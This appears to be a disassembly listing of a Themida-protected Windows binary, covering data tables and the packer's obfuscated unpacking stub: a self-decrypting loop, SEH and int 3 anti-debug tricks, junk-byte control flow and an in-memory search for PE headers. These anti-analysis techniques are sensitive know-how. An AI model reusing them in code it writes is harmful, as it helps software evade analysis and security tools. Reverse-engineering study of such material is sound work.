		dd 0FFFFFF00h, 12FFC4FFh, 118BD200h, 2B537DEBh,	15h, 3 dup(0)
		dd 2D8A9F00h, 3Bh, 5 dup(0)
		dd 5AE5B700h, 6	dup(0)
		dd 0FF927800h, 0FFh, 0
		dd 5BFAB400h, 0
		dd 0A1200E00h, 0FFh, 5B002300h,	2 dup(0)
		dd 5C06B400h, 0
		dd 0B11A4400h, 8 dup(0)
		dd 0FFFFFF00h, 0FFh, 0
		dd 9C00h, 0Ch dup(0)
		dd 57E32D00h, 0A351ED00h, 0FFh,	0A47CEC00h, 0FFh, 0
		dd 7C00h, 4 dup(0)
		dd 90EB9400h, 7Ch, 5 dup(0)
		dd 8111DA00h, 0E1D6897Ch, 25h, 6 dup(0)
		dd 0B11A4400h, 5 dup(0)
		dd 5B815500h, 4	dup(0)
		dd 5F4F0000h, 57E37900h, 0
		dd 0FFDDF700h, 0FFh, 0
		dd 0AD0000h, 4 dup(0)
		dd 75E000h, 2 dup(0)
		dd 62FFB000h, 1, 0A400h, 0
		dd 8800h, 2 dup(0)
		dd 0A0BDB900h, 0FFh, 799900h, 0
		dd 10EB00h, 15h	dup(0)
		dd 3F971400h, 0FFh, 0Dh	dup(0)
		dd 6800h, 9 dup(0)
		dd 5ED50C00h, 2	dup(0)
		dd 9F990B00h, 0E4h, 3 dup(0)
		dd 4E4AF800h, 0FFh, 12FE8000h, 811D1A00h, 0B0h,	0
		dd 0E5F37B00h, 74h, 80180E00h, 7Ch, 0Dh	dup(0)
		dd 90EB9400h, 0B851E97Ch, 35h, 0
		dd 5816EA00h, 6	dup(0)
		dd 6C256E00h, 0DBh, 9 dup(0)
		dd 57EF3900h, 3	dup(0)
		dd 55597400h, 86h, 5 dup(0)
		dd 23B09700h, 7Ah, 2 dup(0)
		dd 3B217300h, 0D1h, 9 dup(0)
		dd 5D956E00h, 0
		dd 0B7021300h, 4E782C00h, 0C530DF1Bh, 511000A9h, 0
		dd 0F8BF3900h, 18DB9C06h, 6690FAh, 8 dup(0)
		dd 16968000h, 0F2h, 0B48B0D00h,	2 dup(0)
		dd 5EAF1100h, 0
		dd 581C3700h, 5	dup(0)
		dd 5BF1B500h, 0
		dd 5ADBA600h, 3	dup(0)
		dd 2E753500h, 38h, 0
		dd 5B831400h, 4	dup(0)
		dd 78A5DC00h, 68h, 3F6BCA00h, 78h, 3 dup(0)
		dd 36363600h, 36h, 4 dup(0)
		dd 12FF5400h, 0
		dd 5C6EF000h, 2, 11h dup(0)
		dd 91613100h, 0FCh, 41A8AD00h, 7Eh, 4 dup(0)
		dd 4300h, 6D000000h, 2,	2 dup(0)
		dd 0CFDA700h, 38h, 6 dup(0)
		dd 46DA4400h, 57E32DC2h, 8400h,	0
		dd 381FD200h, 2Ch, 0D005000h, 0FEh, 0
		dd 0B97E00h, 3 dup(0)
		dd 0EDBE4700h, 7Ch, 5 dup(0)
		dd 0B44E5B00h, 90EB9476h, 7Ch, 0
		dd 0FFFFFF00h, 5BF1ADFFh, 100h,	2 dup(0)
		dd 5B83A600h, 41A8AD00h, 0FFA0887Eh, 0FFh, 2 dup(0)
		dd 0A3EB2600h, 0FFFFA4FFh, 5D6AE8FFh, 4	dup(0)
		dd 0F8BF3900h, 6, 5BCF1300h, 93000000h,	2, 0
		dd 11111100h, 11h, 5CC37100h, 4AB71400h, 7CA8h,	2 dup(0)
		dd 7000h, 6400h, 58D4A00h, 4Bh,	0Fh dup(0)
		dd 0ED62BD00h, 7Ch, 99C4D200h, 0Dh, 16968000h, 0F2h, 0
		dd 29AD2300h, 0D2D99A01h, 5DDF6B5Bh, 2 dup(0)
		dd 0A6B39500h, 67h, 57002300h, 2 dup(0)
		dd 581F2E00h, 6A6000h, 0F6DA7B56h, 49h,	2 dup(0)
		dd 8DA09400h, 0FEh, 3 dup(0)
		dd 0AFDBDF00h, 57h, 2 dup(0)
		dd 0A6081400h, 28010567h, 7136940Ah, 51h, 6 dup(0)
		dd 5B002300h, 90EB9400h, 7Ch, 60h dup(0)
		dd 82FFB000h, 1, 0Bh dup(0)
		dd 0A0D10300h, 8 dup(0)
		dd 5B831400h, 5C34A000h, 0B137EC00h, 90EB9400h,	7Ch, 0Ah dup(0)
		dd 5C79CD00h, 5	dup(0)
		dd 40100000h, 0FFFF4000h, 5D3985FFh, 3 dup(0)
		dd 1E4F4D00h, 5Fh, 4 dup(0)
		dd 5EAFFA00h, 2	dup(0)
		dd 91056D00h, 7Ch, 0CFDA700h, 38h, 2 dup(0)
		dd 0B1180F00h, 6 dup(0)
		dd 0FF83A600h, 0FFh, 0
		dd 814AF200h, 7Ch, 2 dup(0)
		dd 57E32D00h, 4	dup(0)
		dd 0B1FA0300h, 2 dup(0)
		dd 5BB31500h, 0
		dd 12FEF000h, 6	dup(0)
		dd 83C00h, 0FF4C6300h, 12FFA4FFh, 2 dup(0)
		dd offset dword_564190+170h
		dd 2 dup(0)
		dd 29AD2300h, 1, 0
		dd 0A9E50000h, 0DD7883E6h, 60EB77h, 2 dup(0)
		dd 90EB9400h, 7Ch, 3 dup(0)
		dd 90EB9400h, 7Ch, 0
		dd 57E32D00h, 2	dup(0)
		dd 0DBFFFF00h, 7Ch, 29h	dup(0)
		dd 0A680A300h, 0CDh, 4 dup(0)
		dd 1DD3B700h, 0C5C87EDh, 38h, 9FFB1000h, 912DBD61h, 5EFC3D7Ch
		dd 0
		dd 52FFB000h, 2, 4 dup(0)
		dd 90EB9400h, 7Ch, 4AFBFE00h, 0CDh, 17h	dup(0)
		dd 81CDDA00h, 7Ch, 10h dup(0)
		dd 90EB9400h, 7Ch, 9 dup(0)
		dd 103700h, 0B100E800h,	0FC24FA00h, 75h, 0Ah dup(0)
		dd 48592400h, 0FFFFFF80h, 0FFh,	90EB9400h, 7Ch,	15h dup(0)
		dd 0CFDA700h, 38h, 5EA800h, 3 dup(0)
		dd 6F000000h, 0D097502h, 0D5h, 0FA72B600h, 0B4h, 0FA72B600h
		dd 0FFFFFFB4h, 0FDh, 0B73F6400h, 0
		dd 0B4287800h, 4 dup(0)
		dd 1DE58600h, 0Eh, 5 dup(0)
		dd offset dword_564190+170h
		dd 0
		dd 58D4A00h, 4Bh, 0
		dd 28000h, 1Ah dup(0)
		dd 962E8C00h, 6Bh, 0
		dd 5BCF1300h, 3	dup(0)
		dd 90EB9400h, 7Ch, 60302400h, 4	dup(0)
		dd 5D772D00h, 58002300h, 15h dup(0)
		dd 0A1568800h, 53h, 4 dup(0)
		dd 58052500h, 5B92B000h, 3 dup(0)
		dd 5D38BF00h, 6	dup(0)
		dd 0D6CD7F00h, 7Ah, 2 dup(0)
		dd 0B6917800h, 5BBD1900h, 7F455F00h, 83h, 62FFB000h, 1
		dd 5ED8A700h, 0
		dd 0B9ADAF00h, 1Bh, 2 dup(0)
		dd 81CDDA00h, 7Ch, 2 dup(0)
		dd 0DFC41B00h, 77h, 90EB9400h, 60391D7Ch, 0Bh dup(0)
		dd 0E000h, 0
		dd 0A47CDA00h, 0FF9274FFh, 0FFh, 0
		dd 0A57BA300h, 0FFh, 12h dup(0)
		dd 8000h, 70367F00h, 0D5h, 0
		dd 83000000h, 0A2FDF3DEh, 5DDC05FFh, 4 dup(0)
		dd 0B457DB00h, 13h, 13h	dup(0)
		dd 0B18B2800h, 3 dup(0)
		dd 0A81CD300h, 0FFh, 4 dup(0)
		dd 8FADE900h, 12FEF03Ah, 0
		dd 5C6EF000h, 2, 6 dup(0)
		dd 7400h, 3 dup(0)
		dd 11301400h, 2Ch dup(0)
		dd 0A6B39500h, 5B002367h, 83D2BB00h, 44h, 5 dup(0)
		dd 0A51F0200h, 76FD9CFFh, 70h, 0
		dd 0B18E5100h, 0Ch dup(0)
		dd 89407900h, 73FBD9FFh, 3D948Dh, 2 dup(0)
		dd 0B1180F00h, 0
		dd 90EB9400h, 7Ch, 5B000000h, 4	dup(0)
		dd 45C73700h, 0CCh, 0B73F0F00h,	0
		dd 5D970400h, 5	dup(0)
		dd 0FFFFFF00h, 0FFh, 7ED52200h,	0F2179083h, 76h, 0
		dd 3E674E00h, 7F5422B8h, 83h, 0Bh dup(0)
		dd 66970000h, 0A5h, 812A0900h, 7Ch, 3 dup(0)
		dd 0B48B3200h, 7 dup(0)
		dd 100h, 5BCF1300h, 0
		dd 1D3BF700h, 68h, 0FF93A800h, 0FFh, 0Dh dup(0)
		dd 5B002300h, 5F50AD00h, 4 dup(0)
		dd 5BC70B00h, 6	dup(0)
		dd 0D353C500h, 86h, 3 dup(0)
		dd 0B100E800h, 20EE900h, 0
		dd 90EE1800h, 7Ch, 5 dup(0)
		dd 5B673B00h, 0
		dd 100h, 0FFFFFF00h, 7Fh, 5 dup(0)
		dd 90EB9400h, 7Ch, 0FFD79700h, 0FFh, 0
		dd 0AAE900h, 5C93CB00h,	6 dup(0)
		dd 90EB9400h, 7Ch, 6 dup(0)
		dd 0A000h, 3 dup(0)
		dd 73655200h, 74726174h, 2E707041h, 657865h, 5 dup(0)
		dd 80263C00h, 6016A17Ch, 3 dup(0)
		dd 1E951300h, 5Eh, 3 dup(0)
		dd 6000h, 90EB9400h, 7Ch, 0
		dd 90EE1800h, 0F08B8D7Ch, 77h, 5C3A4300h, 6E755F6Dh, 6B636170h
		dd 7265h, 7Eh dup(0)
		dd 0BDFC5D00h, 82h, 0
		dd 5B811F00h, 0
		dd 90EE1800h, 7Ch, 8C8C00h, 0
		dd 0B71E6900h, 0FA72B600h, 0A0B2C9B4h, 1Dh, 3 dup(0)
		dd 0DBE700h, 5 dup(0)
		dd 0B731E500h, 2 dup(0)
		dd 7A000h, 0
		dd 6E000000h, 90EB9402h, 7Ch, 0
		dd 80264000h, 7Ch, 6 dup(0)
		dd 5D395E00h, 4EE7F100h, 8CFFh,	0
		dd 87CF1000h, 50h, 6 dup(0)
		dd 5AE0FE00h, 40000000h, 4 dup(0)
		dd 0A6B39500h, 67h, 80B4CF00h, 90EB947Ch, 7Ch, 5 dup(0)
		dd 0C1000000h, 2 dup(0)
		dd 7D900h, 100h, 2 dup(0)
		dd 57ADA000h, 0
		dd 65685400h, 6164696Dh, 1Eh dup(0)
		dd 830B2E00h, 90h, 0
		dd 0A80DAF00h, 0FFh, 3 dup(0)
		dd 5EF8EA00h, 8	dup(0)
		dd 90EB9400h, 0A9F9FC7Ch, 2 dup(0)
		dd 90EB9400h, 7Ch, 4 dup(0)
		dd 9400h, 3 dup(0)
		dd 3D7F800h, 80180E00h,	7Ch, 3 dup(0)
		dd 400h, 11EE4000h, 3Bh, 0
		dd 5AB3E800h, 9800h, 4 dup(0)
		dd 12FFA400h, 0
		dd 5C6EF000h, 2, 2 dup(0)
		dd 0DDEE5A00h, 77h, 0
		dd 575E5000h, 7FFFFF14h, 31h, 5	dup(0)
		dd 5C245800h, 3	dup(0)
		dd 12FF5400h, 4	dup(0)
		dd 29AD2300h, 101h, 2 dup(0)
		dd 962E8C00h, 6Bh, 0B18D2000h, 0DED1700h, 1100003Ch, 0CFDA700h
		dd 38h,	7 dup(0)
		dd 400E900h, 6 dup(0)
		dd 5B831400h, 3	dup(0)
		dd 0B1180F00h, 3 dup(0)
		dd 5D812500h, 200h, 0
		dd 0D2FFB000h, 1, 0
		dd 0B1291800h, 3 dup(0)
		dd 6C00h, 2 dup(0)
		dd 400h, 5FB0A600h, 810A7700h, 82727Ch,	8F6EAF00h, 8, 0
		dd 12FFF000h, 0
		dd 5B83A600h, 0B0h dup(0)
		dd 5BB31500h, 2	dup(0)
		dd 41000000h, 0FFA5B47Eh, 90EB94FFh, 0B118427Ch, 1DE58600h
		dd 0Eh,	3 dup(0)
		dd 0B800h, 0C00B0000h, 18C20374h, 24448B00h, 0E8530Ch
		dd 5B000000h, 17C381h, 5C890000h, 44891024h, 0B85B1424h
		dd 0B1FA37h, 448BE0FFh,	0E0FF0424h, 13h	dup(0)
		dd 5AB3E800h, 4	dup(0)
		dd 0ED018000h, 0FFh, 3 dup(0)
		dd 0FF4CA700h, 0FFh, 2 dup(0)
		dd 2A00000h, 7 dup(0)
		dd offset dword_43EC00
		dd 0DDEE3700h, 90EB9477h, 0CB108D7Ch, 80003E16h, 7Ch, 3	dup(0)
		dd 0FFFFFF00h, 0B11920FFh, 10EB00h, 0
		dd 100h, 3 dup(0)
		dd 2DC53900h, 1Dh, 5ED70A00h, 0Bh dup(0)
		dd 0F426DD00h, 0FFh, 3 dup(0)
		dd 0FF8C6100h, 0FFh, 0
		dd 0DED40300h, 90EB94FCh, 7Ch, 2 dup(0)
		dd 801A2400h, 0B18E517Ch, 3 dup(0)
		dd 0DD000000h, 77h, 4 dup(0)
		dd 0EE772F00h, 10EB75h,	7 dup(0)
		dd 5B69E500h, 0
		dd 6049DC00h, 0
		dd 0A7908000h, 4 dup(0)
		dd 0B1180F00h, 6 dup(0)
		dd 9FFFED00h, 137h, 6 dup(0)
		dd 60291D00h, 6	dup(0)
		dd 801D7700h, 1D1A7A7Ch, 4 dup(0)
		dd 0F33B3300h, 69h, 2 dup(0)
		dd 7D100h, 5 dup(0)
		dd 6B460C00h, 84h, 2 dup(0)
		dd 5D13D000h, 3	dup(0)
		dd 5B125200h, 8	dup(0)
		dd 0A103C300h, 0B10000FFh, 32h dup(0)
		dd 12FEF000h, 3	dup(0)
		dd 0A6B39500h, 67h, 3 dup(0)
		dd 5B1D6700h, 5	dup(0)
		dd 4F0F0100h, 0FFh, 0
		dd 261C00h, 2 dup(0)
		dd 5D38BB00h, 5	dup(0)
		dd 5AB3E800h, 0
		dd 29AD2300h, 1, 21212100h, 21h, 4 dup(0)
		dd 0B11A4000h, 5A7CD300h, 5 dup(0)
		dd 4D00000h, 2 dup(0)
		dd 1900h, 6 dup(0)
		dd 5C228E00h, 3	dup(0)
		dd 0B4299000h, 0FFh, 3 dup(0)
		dd 37000h, 0
		dd 51104000h, 37h, 7 dup(0)
		dd 0DDEDE500h, 77h, 0
		dd 5D037500h, 2	dup(0)
		dd 90EB9400h, 7Ch, 3 dup(0)
		dd 5F2E0B00h, 2Ah dup(0)
		dd 0F33B3300h, 69h, 1Eh	dup(0)
		dd 5C228E00h, 2	dup(0)
		dd 2700h, 9 dup(0)
		dd 100h, 0
		dd 0D20000h, 0DD6BF000h, 77h, 8	dup(0)
		dd 400h, 10h dup(0)
		dd 5D6A5200h, 4	dup(0)
		dd 60291D00h, 8DA09400h, 0FEh, 0
		dd 245FF000h, 0C068EC00h, 0B1AEA100h, 0B187D400h, 0E4h
		dd 0Ah dup(0)
		dd 57E87500h, 0
		dd 0D6CD7F00h, 7Ah, 802C1600h, 7Ch, 2 dup(0)
		dd 5B120200h, 21119700h, 809C877Ch, 0Dh, 0
		dd 5801DD00h, 8	dup(0)
		dd 0B10A2500h, 0E000h, 0
		dd 0F091400h, 9A019D13h, 7Bh, 14h dup(0)
		dd 0D2180F00h, 5Bh, 89h	dup(0)
		dd 6400h, 0B1B50800h, 9	dup(0)
		dd 802CAC00h, 7Ch, 2 dup(0)
		dd 0B1FA0300h, 4 dup(0)
		dd 0A680A300h, 0CDh, 3 dup(0)
		dd 0FF94BD00h, 0FFh, 6 dup(0)
		dd 0F2129000h, 76h, 400h, 2 dup(0)
		dd 0D000h, 8 dup(0)
		dd 0D2FFB000h, 1, 12FF6000h, 2 dup(0)
		dd 0FB9BAF00h, 144BA800h, 2 dup(0)
		dd 7F606600h, 20h, 8 dup(0)
		dd 63EAD700h, 67h, 2 dup(0)
		dd 0A7D28700h, 0
		dd 5B8A4800h, 2	dup(0)
		dd 42A9E200h, 1Ch, 6 dup(0)
		dd 21400000h
		db 0
; ---------------------------------------------------------------------------


loc_581095:				; CODE XREF: Themida_:loc_57DB9Cj
		mov	eax, ebp
		mov	edx, esp
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 6143503h
		mov	[ebp+6140C55h],	edx
		mov	[ebp+6141605h],	esi
		mov	[ebp+614268Dh],	eax
		cmp	dword ptr [ebp+61400D9h], 0
		jz	short loc_5810CD
		mov	ebp, eax
		mov	esp, edx
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_5810CD:				; CODE XREF: Themida_:005810BFj
		mov	eax, [esp+24h]
		mov	[ebp+6141221h],	eax
		push	45h
		call	sub_581181
		push	783749Ah
		call	sub_5811C7
		push	0A894B25h
		call	sub_5811C7
		jmp	loc_58130B
; ---------------------------------------------------------------------------
		db 45h
		dd 49484746h, 4D4C4B4Ah, 51504F4Eh, 55545352h, 59585756h
		dd 5D5C5B5Ah, 61605F5Eh, 65646362h, 69686766h, 6D6C6B6Ah
		dd 71706F6Eh, 75747372h, 79787776h, 7D7C7B7Ah, 81807F7Eh
		dd 85848382h, 89888786h, 8D8C8B8Ah, 91908F8Eh, 95949392h
		dd 99989796h, 9D9C9B9Ah, 0A1A09F9Eh, 0A5A4A3A2h, 0A9A8A7A6h
		dd 0ADACABAAh, 0B1B0AFAEh, 0B5B4B3B2h, 0B9B8B7B6h, 0BDBCBBBAh
		dd 0C1C0BFBEh, 0C3C2h, 2 dup(0)
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_581181	proc near		; CODE XREF: Themida_:005810D9p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		pusha
		call	$+5
		pop	edx
		sub	edx, 61435F1h
		mov	ebx, edx
		mov	[ebp+var_28], 0


loc_58119D:				; CODE XREF: sub_581181+39j
		mov	eax, [ebp+var_28]
		inc	eax
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 80h
		jz	short loc_5811BC
		mov	eax, [ebp+arg_0]
		mov	[ebx+614355Bh],	eax
		inc	[ebp+arg_0]
		inc	ebx
		jmp	short loc_58119D
; ---------------------------------------------------------------------------


loc_5811BC:				; CODE XREF: sub_581181+2Aj
		mov	[ebp+var_24], eax
		popa
		mov	eax, [ebp+var_24]
		leave
		retn	4
sub_581181	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_5811C7	proc near		; CODE XREF: Themida_:005810E3p
					; Themida_:005810EDp

var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF7Ch
		pusha
		call	$+5
		pop	edx
		sub	edx, 614363Ah
		lea	eax, [ebp+var_80]
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_84], 0


loc_5811ED:				; CODE XREF: sub_5811C7+41j
		mov	ecx, [ebp+var_84]
		rol	ebx, 1
		mov	[eax], bl
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	[ebp+var_84], 80h
		jnz	short loc_5811ED
		mov	[ebp+var_84], 0
		lea	edi, [edx+614355Bh]
		lea	esi, [ebp+var_80]


loc_58121D:				; CODE XREF: sub_5811C7+83j
		mov	cl, [esi]
		mov	ebx, 1F4h
		mov	eax, 785437ABh


loc_581229:				; CODE XREF: sub_5811C7+69j
		rcl	eax, cl
		mov	cl, [edi]
		rcl	eax, cl
		dec	ebx
		jnz	short loc_581229
		imul	eax, ebx
		inc	edi
		inc	esi
		mov	ecx, [ebp+var_84]
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	ecx, 80h
		jnz	short loc_58121D
		popa
		leave
		retn	4
sub_5811C7	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		mov	esi, [ebp+8]
		mov	dword ptr [ebp-4], 0
		jmp	short loc_581267
; ---------------------------------------------------------------------------


loc_581263:				; CODE XREF: Themida_:0058126Aj
		inc	dword ptr [ebp-4]
		inc	esi


loc_581267:				; CODE XREF: Themida_:00581261j
		cmp	byte ptr [esi],	0
		jnz	short loc_581263
		mov	edx, 0
		mov	esi, [ebp+8]
		mov	edi, [ebp+0Ch]
		jmp	short loc_5812F8
; ---------------------------------------------------------------------------


loc_581279:				; CODE XREF: Themida_:005812FBj
		mov	dword ptr [ebp-8], 0
		jmp	short loc_5812EF
; ---------------------------------------------------------------------------


loc_581282:				; CODE XREF: Themida_:005812F3j
		mov	dword ptr [ebp-10h], 0
		mov	dword ptr [ebp-0Ch], 0
		jmp	short loc_5812DC
; ---------------------------------------------------------------------------


loc_581292:				; CODE XREF: Themida_:005812E0j
		shl	dword ptr [ebp-10h], 4
		mov	eax, [ebp-8]
		shl	eax, 1
		add	eax, edx
		add	eax, [ebp-0Ch]
		xor	ebx, ebx
		mov	bl, [eax+esi]
		cmp	bl, 30h
		jb	short loc_5812B4
		cmp	bl, 39h
		ja	short loc_5812B4
		sub	bl, 30h
		jmp	short loc_5812D6
; ---------------------------------------------------------------------------


loc_5812B4:				; CODE XREF: Themida_:005812A8j
					; Themida_:005812ADj
		cmp	bl, 61h
		jb	short loc_5812C6
		cmp	bl, 66h
		ja	short loc_5812C6
		sub	bl, 61h
		add	bl, 0Ah
		jmp	short loc_5812D6
; ---------------------------------------------------------------------------


loc_5812C6:				; CODE XREF: Themida_:005812B7j
					; Themida_:005812BCj
		cmp	bl, 41h
		jb	short loc_5812D6
		cmp	bl, 46h
		ja	short loc_5812D6
		sub	bl, 41h
		add	bl, 0Ah


loc_5812D6:				; CODE XREF: Themida_:005812B2j
					; Themida_:005812C4j ...
		add	[ebp-10h], ebx
		inc	dword ptr [ebp-0Ch]


loc_5812DC:				; CODE XREF: Themida_:00581290j
		cmp	dword ptr [ebp-0Ch], 2
		jb	short loc_581292
		cmp	dword ptr [ebp-10h], 0
		jbe	short loc_5812EC
		mov	eax, [ebp-10h]
		stosb


loc_5812EC:				; CODE XREF: Themida_:005812E6j
		inc	dword ptr [ebp-8]


loc_5812EF:				; CODE XREF: Themida_:00581280j
		cmp	dword ptr [ebp-8], 2
		jb	short loc_581282
		add	edx, 4		; CODE XREF: Themida_:00581357j


loc_5812F8:				; CODE XREF: Themida_:00581277j
		cmp	edx, [ebp-4]
		jb	loc_581279
		mov	al, 0
		stosb
		mov	eax, [ebp-4]
		leave
		retn	8
; ---------------------------------------------------------------------------


loc_58130B:				; CODE XREF: Themida_:005810F2j
		mov	ecx, 7000h
		lea	edi, [ebp+6143780h]


loc_581316:				; CODE XREF: Themida_:0058131Aj
		dec	byte ptr [edi]
		inc	edi
		dec	ecx
		jnz	short loc_581316
		mov	eax, 48692121h
		mov	edx, 0F0113000h
		sub	edx, 0F0000000h
		lea	eax, [ebp+61438A0h]
		push	eax
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		call	$+5
		pop	eax
		mov	bx, 189Eh
		sub	bh, 0F1h
		call	sub_581363
		add	bh, ah
		dec	ebx
		insb
		jle	short near ptr loc_5812F5+2
		jmp	short loc_5813B2
; ---------------------------------------------------------------------------
		db 44h
		dd 8BAD1615h
		db 1Ah,	81h, 5Eh

; =============== S U B	R O U T	I N E =======================================



sub_581363	proc near		; CODE XREF: Themida_:0058134Ep
		mov	bx, 0A66Ah
		pop	ebx
		sub	eax, edx
		push	0
		push	edi
		call	sub_581375
		and	[edi-3Dh], bl
sub_581363	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_581375	proc near		; CODE XREF: sub_581363+Ap

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 16h
		inc	edi
		push	edi
		retn
sub_581375	endp

; ---------------------------------------------------------------------------
		db 0CFh, 6Eh, 95h
; ---------------------------------------------------------------------------
		and	eax, 0FFFFF000h
		push	0
		push	edi
		call	sub_581398
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_581398	proc near		; CODE XREF: Themida_:00581390p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 17h
		inc	edi
		push	edi
		retn
sub_581398	endp

; ---------------------------------------------------------------------------
		mov	edi, 0FEF26CDh
		mov	edi, 33CA8BDAh


loc_5813B2:				; CODE XREF: Themida_:00581359j
		jmp	dword ptr [esi-7Fh]
; ---------------------------------------------------------------------------
		db 38h,	4Dh, 5Ah
		dd 0B70F0E75h, 0D0033C50h, 45503A81h, 8740000h,	10002Dh
		dd 0E3EB4700h, 58F64h, 83000000h, 958D04C4h, 61438B3h
		dd 35FF6452h, 0
; ---------------------------------------------------------------------------
		mov	large fs:0, esp
		add	eax, ecx
		sub	eax, 1000h
		mov	esi, [eax+4]
		and	esi, 0FFFF0000h
		cmp	esi, 80000000h
		jbe	short loc_58140A
		mov	esi, [eax+1Ch]


loc_58140A:				; CODE XREF: Themida_:00581405j
		xor	eax, eax


loc_58140C:				; CODE XREF: Themida_:0058141Fj
		cmp	eax, 32h
		jz	short loc_581430
		cmp	word ptr [esi],	5A4Dh
		jz	short loc_581421


loc_581418:				; CODE XREF: Themida_:0058142Ej
		sub	esi, 10000h
		inc	eax
		jmp	short loc_58140C
; ---------------------------------------------------------------------------


loc_581421:				; CODE XREF: Themida_:00581416j
		mov	edi, [esi+3Ch]
		add	edi, esi
		cmp	dword ptr [edi], 4550h
		jz	short loc_581472
		jmp	short loc_581418
; ---------------------------------------------------------------------------


loc_581430:				; CODE XREF: Themida_:0058140Fj
		pop	large dword ptr	fs:0
		add	esp, 4
		popa
		retn
; ---------------------------------------------------------------------------
		push	ecx
		mov	ecx, [esp+10h]
		sub	dword ptr [ecx+0B0h], 1000h
		pop	ecx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		push	ecx
		mov	ecx, [esp+10h]
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 61438BEh
		lea	eax, [ebp+614387Ch]
		mov	[ecx+0B8h], eax
		pop	ebp
		pop	ecx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_581472:				; CODE XREF: Themida_:0058142Cj
		xchg	eax, esi
		pop	large dword ptr	fs:0
		add	esp, 4
		mov	ebx, 5A58F47Ah
		push	0
		push	edx
		call	sub_58148D
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58148D	proc near		; CODE XREF: Themida_:00581485p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 15h
		inc	edx
		push	edx
		retn
sub_58148D	endp

; ---------------------------------------------------------------------------
		test	dword ptr [edi+ecx], 280h
		add	[edx-21749902h], cl
		mov	cx, ds
		movzx	ebx, ax
		jmp	loc_5814C5
; ---------------------------------------------------------------------------
		db 31h,	0BEh, 60h
		dd 0DE535477h, 1999E45Dh, 0E2AA83CAh
		db 1Dh
; ---------------------------------------------------------------------------


loc_5814C5:				; CODE XREF: Themida_:005814B0j
		and	cl, 4
		mov	bx, 9FB9h
		jmp	loc_5814DB
; ---------------------------------------------------------------------------
		push	es
		imul	ecx, [ecx], 7Eh
		adc	[esi], eax
		scasd
		push	edi
		cwde
		int	3		; Trap to Debugger


loc_5814DB:				; CODE XREF: Themida_:005814CCj
		or	cl, cl
		jnz	loc_58152A
		push	0
		push	ecx
		call	sub_5814EE
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5814EE	proc near		; CODE XREF: Themida_:005814E6p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 15h
		inc	ecx
		push	ecx
		retn
sub_5814EE	endp

; ---------------------------------------------------------------------------
		fdiv	qword ptr [eax]
		mov	bx, 20F4h
		mov	dword ptr [ebp+61401CDh], 1
		mov	bx, 3C80h
		jnb	loc_58151A
		mov	ebx, ecx


loc_58151A:				; CODE XREF: Themida_:00581512j
		jmp	loc_581587
; ---------------------------------------------------------------------------
		pusha
		sub	edi, 1FE49A1h
		xor	bl, 9Bh
		popa


loc_58152A:				; CODE XREF: Themida_:005814DDj
		mov	dword ptr [ebp+61401CDh], 0
		push	0
		push	ebp
		call	sub_58153F
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58153F	proc near		; CODE XREF: Themida_:00581537p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Bh
		inc	ebp
		push	ebp
		retn
sub_58153F	endp

; ---------------------------------------------------------------------------
		db 0F9h
		dd 3B728F0Fh, 60AA6C17h, 28B0Fh, 61600000h, 11E8h, 922C0700h
		dd 6EE40C3Eh, 0A353C7DCh, 0AFC87E0Eh, 0AE9E959h, 70000000h
		dd 42058EDAh, 22429BDCh
		db 0Fh,	59h, 61h
; ---------------------------------------------------------------------------


loc_581587:				; CODE XREF: Themida_:loc_58151Aj
		mov	[ebp+6140C2Dh],	eax
		ja	loc_581598
		push	ebx
		mov	bx, dx
		pop	ebx


loc_581598:				; CODE XREF: Themida_:0058158Dj
		mov	[ebp+6142C65h],	eax
		call	near ptr loc_5815AC+2
		dec	edx
		mov	word ptr [edx-70h], fs
		jge	short loc_5815CB
		xor	[esi], al
		cwde


loc_5815AC:				; CODE XREF: Themida_:0058159Ep
		adc	eax, 0E959FC02h
		or	al, 0
; ---------------------------------------------------------------------------
		db 0
		dd 1DF3A700h, 1AF76F4Eh, 0C53246D5h, 0B1C18148h, 6800006Ah
		db 8Ch,	1Ah, 0
; ---------------------------------------------------------------------------


loc_5815CB:				; CODE XREF: Themida_:005815A7j
		add	[esi-75h], ah
		fcomp	dword ptr [eax+66h]
		mov	esi, 118B77E6h	; CODE XREF: Themida_:00581609j
		pusha
		xor	si, 9A7Ch
		clc
		popa
		xor	edx, 3D4C5A4Dh
		mov	edi, ecx
		sub	edx, 5C989292h
		mov	bl, dl
		sub	edx, 3A955AF5h
		mov	esi, eax
		mov	[ecx], edx
		mov	esi, ecx
		sub	ecx, 4
		and	esi, 721EB048h
		sub	eax, 1
		jnz	near ptr loc_5815D1+3
		ja	loc_581628
